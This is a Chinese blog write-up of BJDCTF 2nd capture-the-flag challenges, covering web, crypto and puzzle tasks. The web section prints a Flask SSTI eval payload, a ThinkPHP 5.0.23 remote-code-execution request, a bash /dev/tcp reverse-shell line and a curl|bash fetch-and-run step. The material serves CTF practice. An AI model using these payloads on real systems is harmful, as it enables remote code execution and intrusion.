BJDCTF-WP
BJDCTF 2nd WP
引言
- 由于在备考,所以没多少时间做,并且也实属是菜,所以就做了几个题目,这里就分享一下啦 Hi~ o( ̄▽ ̄)ブ
[BJDCTF 2nd]fake google
知识点:SSTI
- 这个最近练得比较多了,所以是做出来的第一个
Web,考的还是flask框架的ssti,并且没做太多的现在,就是在最后读取flag的时候稍加了一些套路,要base64一下读取文件 - 我是利用的
warnings.catch_warnings进行的eval命令执行,最常用的好像没有找到,所以就找了这个 - 先还是使用
{{[].__class__.__mro__[1].__subclasses__()}}获取基本类的子类,然后直接ctrl+F查找可以使用的方法

发现存在,由于发现不能直接使用index()查找索引,所以复制出来获取其索引,发现是第169,然后使用
{{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}
发现成功执行

- 剩下就是命令执行,遍历目录,读取
flag,这里要说一下的就是,读取flag时,对读取的文件内容有所过滤,所以要base64一下读取
{{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("echo``cat /flag``| base64").read()')}} - 注:这里博客园的
Markdown不知道为什么转移不了反斜号,cat /flag只要一对反引号就行了 (lll¬ω¬)

- 最后解码一下即可得到flag
[BJDCTF 2nd]old-hack
知识点:ThinkPHP5.0.23 远程RCE
- 这题首页就已经有了提示,显示的
Powered by THINKPHP5,直接联想到tp5的漏洞,直接搜exp打即可
# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
成功执行,剩下直接读取根目录下的flag即可

[BJDCTF 2nd]duangShell
知识点:反弹shell
题目环境准备
- 花了好久终于把这里弄懂了,现在记录一下
- 这题由于是赛后才做的,所以就只能在
BUUCTF上做了,由于之前对反弹shell那一套不怎么了解,所以花了好久 - 由于这题的环境靶机无法访问外网,所以需要一个内网靶机来做,这里就直接用了题目中推荐的
Basic中的Linux Labs,由于这台靶机已经安装了lamp,已指出http服务,所以在Labs的/var/www/html新建一个能反弹shell的命令文件,命令:bash -i >& /dev/tcp/ip/port 0>&1,ip是内网靶机的ipport可以随意指定 - 注:这句话是指将
Bash直接反弹一个shell到指定ip端口(部分linux发行版中支持),而且/dev/tcp这个文件实际不存在,而当你在监听这个端口的时候,对这个文件进行读写,就相当于实现两个主机之间的socket通信 - 文件环境弄好后,只要在靶机上监听端口就可以利用反弹的shell寻找
flag了
解题
- 页面提示源码可以通过
.swp备份文件获取,遂下载,然后使用vim -r index.php.swp恢复备份文件

这里由于是exec,他不会回显结果,并且有过滤了太多命令,但是没有限制curl,所以可以使用curl xxxx|bash来实现 - 这里要设置并传值给
girl_friend

- 这里我的理解是让题目的
bash直接执行curl访问我们写有反弹shell命令文件的内网靶机,遂实现将题目shell反弹
然后再在靶机上监听,即可获取到题目shell

- 直接
find查找flag
find / -name flag

/flag下的是假的,所以直接cat /etc/demo/P3rh4ps/love/you/flag得到flag
[BJDCTF 2nd]假猪套天下第一
知识点:Http header
- 这题用到了好多header相关的知识,有好多header字段属实不详细去细究的话,说实话做这个题难度会增加不少
- 大家可以看一下这个文章,有比较详细的header的介绍
https://blog.csdn.net/qq_42350419/article/details/82841192 - 解题:首先打开是个登录界面,尝试万能密码登录发现登录成功,但是似乎没什么用处,遂尝试使用
BP抓包查看一下,在Raw的最后面注释里发现玄机<!-- L0g1n.php --> - 尝试访问,发现这下才步入正轨

猜测与时间戳相关,BP中发现header中有time字样,判断是时间戳,又提示要99年后,遂设置2120年的时间戳,可以用python生成,设置time=4738550112
import datetime
ctime = datetime.datetime.strptime('Feb 28, 2120 03:55:12 PM', '%b %d, %Y %I:%M:%S %p').timestamp()
ctime
4738550112.0
- 而后进入下一层,提示要本地访问,从以前的做题经验来说常用的是
X-Forwared-For和Cilent-IP,这里貌似只能用Client-IP,设置Client-IP=127.0.0.1两者从本质上来收都是实现的反向代理,其差别可见这篇文章https://www.zhihu.com/question/264264051 - 再进入下一层,提示要使发送请求的来源为
gem-love.com,故设置Referer=gem-love.com(注:直接这个域名即可,不用加https://) - 再进一步,提示访问
browsers要是Commodo 64,所以要设置User-Agent,google一下发现是Commodore 64,设置一下Ua为这个就行了 - 再到下一层,提示要使发送请求的邮箱使
root@gem-love.com,这里在上面的链接中有提到,是From字段,遂设置From =root@gem-love.com - 进入下层,提示要使用
y1ng.vip的代理,查阅之后发现,via字段可以显示经过了哪些代理后才到目标服务器了,也就是说使用了哪种代理,刚好符合这里的意思。遂设置via=y1ng.vip - 终于到了最后,但是发现仍获取不到
flag,一开始还以为要设置is-admin=1,最后在源码里发现一串base64,解密后就是flag


[BJDCTF 2nd]Schrödinger
知识点:BP抓包,修改cookie,时间戳
- 这题有一点脑洞,查看源码发现了有一个
test.php,访问发现是一个登录界面,先尝试万能密码登录,发现不行,而后尝试BP爆破密码,发现思路仍然不对,最后发现首页最下面还有一个框,而后,大致看了一下那段话,发现这个页面似乎就可以爆破密码,于是将test.php的url填入,发现开始爆破,真就这样就行了?答案是否定的,看下面时间的进行十分缓慢,等它爆破完成估计不知道要多久了,于是BP抓一下包,发现在Cookie中有一串base64,dXNlcg=MTU4NTIzMDc2OQ%3D%3D,decode之后发现是时间戳,难道是要把这个时间改大一点,他就可以快速爆破完成了?然而还是没有那么简单,我尝试改到2200年,发现仍然不行,最后才发现,将其置空的话,进度竟然一下就到了99%,而后在check一下,发现爆破虽然成功了,但是还是没有flag,却给了一个av号,去B站搜了一下,最后在评论区发现了flag,不得不说这题脑洞属实有点大

[BJDCTF 2nd]老文盲了
知识点:脑洞
- 这题实属时坑加脑洞,直接将文字搜索一下,读一下拼音就发现了端倪,最后交flag的时候注意删掉大括号这几个字

flag:BJD{淛匶襫黼瀬鎶軄鶛驕鳓哵}
[BJDCTF 2nd]cat_flag
知识点:二进制转字符串
- 一开始没反应过来,后来试着把有鸡腿的记为0,没鸡腿的记为1,化成01二进制字符串,再转ASCII码即可
[BJDCTF 2nd]灵能精通-y1ng
知识点:变种猪圈密码
- 变种猪圈密码,找一下码表对着改一下就好了

[BJDCTF 2nd]燕言燕语-y1ng
知识点: 十六进制,维吉尼亚密码
- 先十六进制转字符串,然后再维吉尼亚密码解密,密钥就是yanzi

[BJDCTF 2nd]Y1nglish-y1ng
知识点:替换密码
- 直接在线解密,发现flag不对,最后出题人放出hint,说要把错误单词改正后提交,遂发现最后一个单词应该是 Cr4ck

[BJDCTF 2nd]rsa0
知识点:基本RSA套路,初中数学
- 等量代换,将已知的p+q,p-q转换到我们所需要的phi和n,然后求逆元d,最后再求解m即可
- exp:
# -*- coding:utf-8 -*-
# Author : Konmu
# rsa0
import gmpy2
from Crypto.Util.number import *
#a=p+q b=p-q
a=17162353559144679042138764130392599487619616736304807356650753313511074468547740997240459020330637407607018451370757739841162760390979956823381951345720928
b=2157944102411263994709908806124613607462762078172843352748093273937884682449698667594757978254948952712563313245682739933249064978139449404711197573108846
c=45301241949589301995180160804303973330820405560962297548184980689249607707456658111351805771592837881785351326731109851752124118781776273507359216672384415019593182742168977641581393719509221130849808495779942628017133428896872236441436256500653209906562574669595813780702154561337014309513479940699909759454
e=13881611
n=(a**2-b**2) //4
phi=n-a+1
d=int(gmpy2.invert(e,phi))
m=pow(c,d,n)
print(long_to_bytes(m))
[BJDCTF 2nd]rsa1
知识点:同上
- 仍然是等量代换
- exp:
# -*- coding:utf-8 -*-
# Author : Konmu
# rsa1
from gmpy2 import iroot,invert
from Crypto.Util.number import *
#p**2+q**2=a
a=230282632694523225937051344416173208141003770756289612804807217657804068791542651564838194212104676551997764018460879226166807005433546876007288091996196539309119708193341213288590014759087592722749150747027103386853090111834756105787095305838589646731702172385691220203268855509181738201501713929481838642498
#p-q=b
b=-4900116095386312405990409603053751102044890401512310635193158977344509279780138297206939893571426574257123980641762453196916366832983541826491201092272814
c=57305478781873469701906886706515374864936174293678370148185292603092343152208523838764818066602190494238364695329068029056956741411335604426893391963871703874286120587046383783936896139251516197205626486457338063805605931966769630762887820549045989322171833789694041829203743398401975653722227935420397574254
e=8671291
n=(b**2-a)//(-2)
temp=2*n+a
temp_1=iroot(temp,2)
#temp_1=20893877754997573728203567845738001284961182394065350971204621396499968057878195283639697317876340959595444095705767445958979789899779232673349184190305080
print(temp_1)
phi=n-temp_1+1
d=int(invert(e,phi))
m=pow(c,d,n)
print(long_to_bytes(m))
总结
- 原本打算借这次机会练一下web,却发现自己还是tcl,后续等官方wp出来后再去学习一下web的一些套路
BJDCTF-WP的更多相关文章
- BUUOJ [BJDCTF 2nd]elementmaster
[BJDCTF 2nd]elementmaster 进来就是这样的一个界面,然后就查看源代码 转换之后是Po.php,尝试在URL之后加上看看,出现了一个“.“ ....... 迷惑 然后看了wp 化 ...
- [BUUCTF]PWN——[BJDCTF 2nd]secret
[BJDCTF 2nd]secret 附件 步骤: 例行检查,64位程序,开启了canary和nx 本地试运行一下,看看程序大概的情况,好像是一个什么游戏 64位ida载入,检索程序里的字符串,发现了 ...
- 逆天通用水印支持Winform,WPF,Web,WP,Win10。支持位置选择(9个位置 ==》[X])
常用技能:http://www.cnblogs.com/dunitian/p/4822808.html#skill 逆天博客:http://dnt.dkil.net 逆天通用水印扩展篇~新增剪贴板系列 ...
- wp已死,metro是罪魁祸首!
1.这篇文章肯定会有类似这样的评论:“我就是喜欢wp,我就是喜欢metro,我就是软粉“等类似的信仰论者发表的评论. 2.2014年我写过一篇文章,windows phone如何才能在中国翻身? 我现 ...
- 关于 WP 开发中.xaml 与.xaml.cs 的关系
今天我们先来看一下在WP8.1开发中最长见到的几个文件之间的关系.比较论证,在看这个问题之前我们简单看看.NET平台其他两个不同的框架: Windows Forms 先看看Window Forms中的 ...
- Android,ios,WP三大手机系统对比
从前,我以为.一个手机系统只是一个系统的UI风格,没什么不同的.然而,在我混合使用这三个手机系统之后,才明白,一个手机系统远不只一个UI那么简单,而真的是可以称之为一个“生态”. 首先祭出三台经典设备 ...
- 搜狗输入法wp风格皮肤
换了个nexus 发现输入法真的没有wp的好用 没办法,刚好搜狗输入法有定制皮肤的选项,所以自己做了个wp风格的输入法皮肤. 一点微小的工作 http://pan.baidu.com/s/1kVsHd ...
- 免费获取WP之类的开发者权限或免费使用Azure 2015-10-19
上一次弄wp真机调试的时候,卡住了,这里讲一下怎么解决(http://www.cnblogs.com/dunitian/p/4870959.html) 进这个网址注册一下:https://www.dr ...
- 【WP开发】读写剪贴板
在WP 8.1中只有Silverlight App支持操作剪贴板的API,Runtime App并不支持.不过,在WP 10中也引入了可以操作剪贴板的API. 顺便说点题外话,有人会说,我8.1的开发 ...
- 【WP开发】不同客户端之间传输加密数据
在上一篇文章中,曾说好本次将提供一个客户端之间传输加密数据的例子.前些天就打算写了,只是因一些人类科技无法预知的事情发生,故拖到今天. 本示例没什么技术含量,也没什么亮点,Bug林立,只不过提供给有需 ...
随机推荐
- 错误:Several ports (8005, 8080, 8009) required by Tomcat v7.0 Server at localhost are already in use.
Several ports (8005, 8080, 8009) required by Tomcat v7.0 Server at localhost are already in use. The ...
- STM32 Cube之旅-尝试新的开发方式
尝试使用Cube进行一些开发学习,这里对此做一个梗概,先有一个全面的了解. 文章目录 Cube全家桶 CubeMX CubeIDE CubeProg 结语 Cube全家桶 曾几何时,ST刚推出Cube ...
- [hdu5253] 最小生成树,Kruskal
题意:有n*m个单位的农田,给定每个单位农田地势高低,现在需要灌溉所有农田,如果把水引入相邻的农田里需要的管道长度为两者的高度差.求最少的管道长度花费. 思路:比较明显的最小生成树问题,相邻两点之间连 ...
- Spring Cloud认知学习(一):Spring Cloud介绍与Eureka使用
目录 Spring Cloud的介绍 微服务的介绍 Spring Cloud出现的原因: 常见场景: 微服务的优劣势: Spring Cloud版本问题 版本介绍 与Spring Boot版本对应关系 ...
- C# Html转pdf文件
using iTextSharp.text; using iTextSharp.text.pdf; using System; using System.Collections.Generic; us ...
- sqli-labs之Page-4
第五十四关 题目给出了数据库名为challenges. 这一关是依旧字符型注入,但是尝试10次后,会强制更换表名等信息.所以尽量在认真思考后进行尝试 爆表名 ?id=-1' union select ...
- java ->多线程_线程同步、死锁、等待唤醒机制
线程安全 如果有多个线程在同时运行,而这些线程可能会同时运行这段代码.程序每次运行结果和单线程运行的结果是一样的,而且其他的变量的值也和预期的是一样的,就是线程安全的. l 我们通过一个案例,演示线 ...
- STM32学习笔记——USART
STM32的USART组件支持异步.同步.单线半双工.多处理器.IrDA.LIN.SmartCard等模式,本文介绍的是异步即UART模式. 总线通信有三种模型:轮询.中断和DMA.DMA对我来说是陌 ...
- mysql 获取当前指定分钟的时间
SELECT NOW(); MINUTE); 结果:
- ql的python学习之路-day3
字典操作 特性: 1.无序的 2.key是唯一的 , ,,], ,,], ,,], }, ,,], 'bbb' : ['a', 'b', 'c'], }}